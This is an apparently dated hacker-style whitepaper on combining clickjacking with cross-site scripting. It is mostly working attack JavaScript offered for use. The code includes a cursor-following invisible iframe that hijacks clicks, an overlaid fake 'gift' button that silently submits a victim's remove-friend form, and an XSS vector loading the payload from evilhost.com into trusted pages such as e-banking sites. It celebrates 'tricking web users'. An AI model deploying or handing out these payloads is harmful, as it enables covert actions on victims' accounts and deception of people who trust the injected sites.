-[ INFOS ]-----------------------------------------------------------------------
Title: "The Clickjacking meets XSS: a state of art"
---------------------------------------------------------------------------------
-[ SUMMARY ]---------------------------------------------------------------------
0x01: Introduction
0x02: What is the Problem
0x03: JavaScript always loves us
\_ 0x03a: Cursor tracking
\_ 0x03b: Graphic overlaying
0x04: XSS done!
0x05: Conclusions
---------------------------------------------------------------------------------
---[ 0x01: Intruduction ]
The clickjacking attacks come from a recent discovery of the two well-known
researchers Jeremiah Grossman (from WhiteHat Security) and Robert "RSnake" Hansen
(from Ha.ckers.org): it's a quite simple but effective attack that has already
been expressed in its potentialities in several articles such as:
http://ha.ckers.org/blog/20081007/clickjacking-details/
http://jeremiahgrossman.blogspot.com/2008/10/clickjacking-web-pages-can-see-and-hear.html
You can take a look to the BlackHat Webcast made by Jeremiah Grossman disclosing
more details on Clickjacking and on HTML and JavaScript designing issues at this
address: http://www.blackhat.com/html/webinars/clickjacking.html
What we'll quickly analyze in this short whitepaper is how to match two different
attacks as XSS and Clickjacking to make their combination even more effective.
-------------------------------------------------------------------------------[/]
---[ 0x02: What is the Problem ]
One of the most common problem during the deploying of client-side attacks (such
as CSRFs), is the spreading of the page with the attacking vectors specifically
built for some purpose.
It's in some way problematic to trick your victim to visit an unknown page where
he should fall to the attack, and it's as much problematic to find the right place
to host that page on the net.
What about injecting your clickjacking vectors in a vulnerable webpage trusted by
the victim himself? This would make the attack less suspicious and probably a way
more easy to accomplish since the user will be completely comforted by the
genuineness of the website he is visiting.
-------------------------------------------------------------------------------[/]
---[ 0x03: JavaScript always loves us ]
Of course we're going to use some JavaScript codes to accomplish our attack
attempts, specifically we're going to try two different methods:
- 0x03a = making a cursor following IFRAME on which the user will be forced to
click;
- 0x03b = create some specific HTML code to be overlayed on some other inside the
page.
Have fun :-)
-------------------------------------------------------------------------------[/]
------[ 0x03a: Cursor tracking ]
The first Clickjacking attack we are going to prepare will be named "Cursor
tracking": we'll use JavaScript to make a "moving" trap IFRAME.
Let's start from preparing the code which will deploy the Clickjacking attack:
what we want to do is to get the user clicking on a specific button or link which
will force him to make some action to the website we will load in a crafted
invisible IFRAME.
First let's prepare the IFRAME code in which we'll load the button to be clicked:
<iframe id="victim" src="http://target.com/page.php" scrolling="no"
style="opacity: 0;position: absolute;left: 10;bottom: 10;"
width="500px;"></iframe>
In this simple IFRAME declaration we just have to be sure to turn off the
"scrolling" function and to set the "opacity" property to 0 in order to make the
page invisible to the victim. The position of the page inside the IFRAME depends
on where the user should click, you would probably want to fix it using:
margin-top: X;
margin-left: X;
Using negative values you'll get the page more and more centered into the IFRAME.
The next step is to prepare a JavaScript function that will make the IFRAME follow
the users cursor on the webpage we'll inject the code into, and we can achieve
this using the Event Handlers as following.
function getPosition(e) {
e = e || window.event;
var cursor = {x:0, y:0};
if (e.pageX || e.pageY) {
cursor.x = e.pageX;
cursor.y = e.pageY;
} else {
var de = document.documentElement;
var b = document.body;
cursor.x = e.clientX + (de.scrollLeft || b.scrollLeft) - /
(de.clientLeft || 0);
cursor.y = e.clientY + (de.scrollTop || b.scrollTop) - /
(de.clientTop || 0);
}
return cursor;
}
This function retrieve the X and Y coordinates of the user's cursor in the webpage
everytime it gets called.
function clickjacking(e) {
var loadFrame = document.getElementById("victim");
var curPos = getPosition(e);
loadFrame.setAttribute('style','opacity:0;position:absolute;top:'/
+ (curPos.y - 80) + ';left:' + (curPos.x - 15) + ';');
}
Again, this one loads the IFRAME, calls the previous "getPosition" function and
changes the style attributes of the loaded IFRAME with the new coordinates
retrieved from the cursor tracking function.
window.captureEvents(Event.MOUSEMOVE);
window.onmousemove=clickjacking;
This will call the MOUSEMOVE Event handler and make the "clickjacking" function be
called at each user's cursor movement inside the webpage. As we are now the
JavaScript codes we created make the IFRAME follows the victim's cursor inside a
webpage and force him to click on a specific button contained in that IFRAME at
each click he apparently make on a safe and genuine page.
Now let's make our JavaScript print out the IFRAME inside the HTML code with
document.write:
document.write("<iframe id=\"victim\" src=\"http://target.com/page.php\"
scrolling=\"no\" style=\"opacity: 0;position: absolute;left: 10;bottom: 10;\"
width=\"500px;\"></iframe>");
In this way the IFRAME code will be printed inside the vulnerable web page we're
going to disfrut as soon as our XSS attack vector is included.
Our JavaScript code will finally look as following:
<!-- clickjacking.js -->
function getPosition(e) {
e = e || window.event;
var cursor = {x:0, y:0};
if (e.pageX || e.pageY) {
cursor.x = e.pageX;
cursor.y = e.pageY;
} else {
var de = document.documentElement;
var b = document.body;
cursor.x = e.clientX + (de.scrollLeft || b.scrollLeft) - /
(de.clientLeft || 0);
cursor.y = e.clientY + (de.scrollTop || b.scrollTop) - /
(de.clientTop || 0);
}
return cursor;
}
function clickjacking(e) {
var loadFrame = document.getElementById("victim");
var curPos = getPosition(e);
loadFrame.setAttribute('style','opacity:0;position:absolute;top:' + /
(curPos.y - 80) + ';left:' + (curPos.x - 15) + ';');
}
window.captureEvents(Event.MOUSEMOVE);
window.onmousemove=clickjacking;
document.write("<iframe id=\"victim\" src=\"http://target.com/page.php\" /
scrolling=\"no\" style=\"opacity: 0;position: absolute;left: 10;bottom: 10;\" /
width=\"500px;\"></iframe>");
<!-- EOF -->
-------------------------------------------------------------------------------[/]
------[ 0x03b: Graphic overlaying ]
Another way is to create some HTML code to be injected in the webpage which
graphic components will be overlayed by new fake ones that will invite the user to
click.
For example let's assume that our victim is visiting a website in which there is a
code that permits him to remove his buddies:
<form method="POST" name="friends" action="remove.php">
<div>George Lucas</div>
<input type="hidden" name="friendid" value="123456" />
<input type="submit" value="Remove from friends" />
</form>
We want to force the user to remove "George Lucas" from his friends without his
acknowledgement, we can eventually craft some JavaScript code as following:
<!-- clickjacking.js -->
function bonus() {
document.friends.submit();
}
document.write("<div style=\"position:absolute;top:Ypx;left:Xpx;\"><input /
type=button value=\"Your friend sent you a gift, get it!\" onClick=\"javascript:bonus()\" /
/></div>");
<!-- EOF -->
This will create a button to be overlayed at X and Y coordinates, exactly
overlaying the "Remove from friends" button making it invisible to the user. When
clicking our button he will instead submit the FORM which will remove the poor
"George Lucas" from his buddy list.
This is just an example of how can be used the overlaying technique, another one
could be to replace the original login form with a new one specifically crafted
and positioned inside the page with the TOP and LEFT style attributes.
-------------------------------------------------------------------------------[/]
---[ 0x04: XSS done! ]
Assuming that a common webpage our victim is used to visit (like a ebanking page
or a blog or whatever) is vulnerable to Cross Site Scripting (a way better if
Permanent), we can inject our JavaScript code previously forged in order to deploy
our XSS-Clickjacking attack in which the victim will almost certainly fall into.
<script src=http://evilhost.com/clickjacking.js></script>
This is the XSS vector we should use to make our JavaScript code to be executed on
the victim's browser: the injecting can be done, as we've already seen
(http://www.playhack.net/papers/18), through a URL's GET parameter or a user form
input not sanitized.
Obviously a Non-Permanent XSS vulnerability would require some previous spreading,
in order to get the victim noticed of the crafted malicious link on which he
should get.
-------------------------------------------------------------------------------[/]
---[ 0x05: Conclusions ]
The clickjacking is a very cute attacking technique that gets even better when
matched with a Permanent or Non-Permanent Cross Site Scripting vulnerability.
The funny and interesting thing of this attack is that leaves a lot of space to
the attacker creativity and inventiveness, letting him express the best idea of
the sublime art of tricking web users.
There are tons of possibilities and i invite you to mail me whenever you create a
new and smart one you'd like to share ;-)
-------------------------------------------------------------------------------[/]
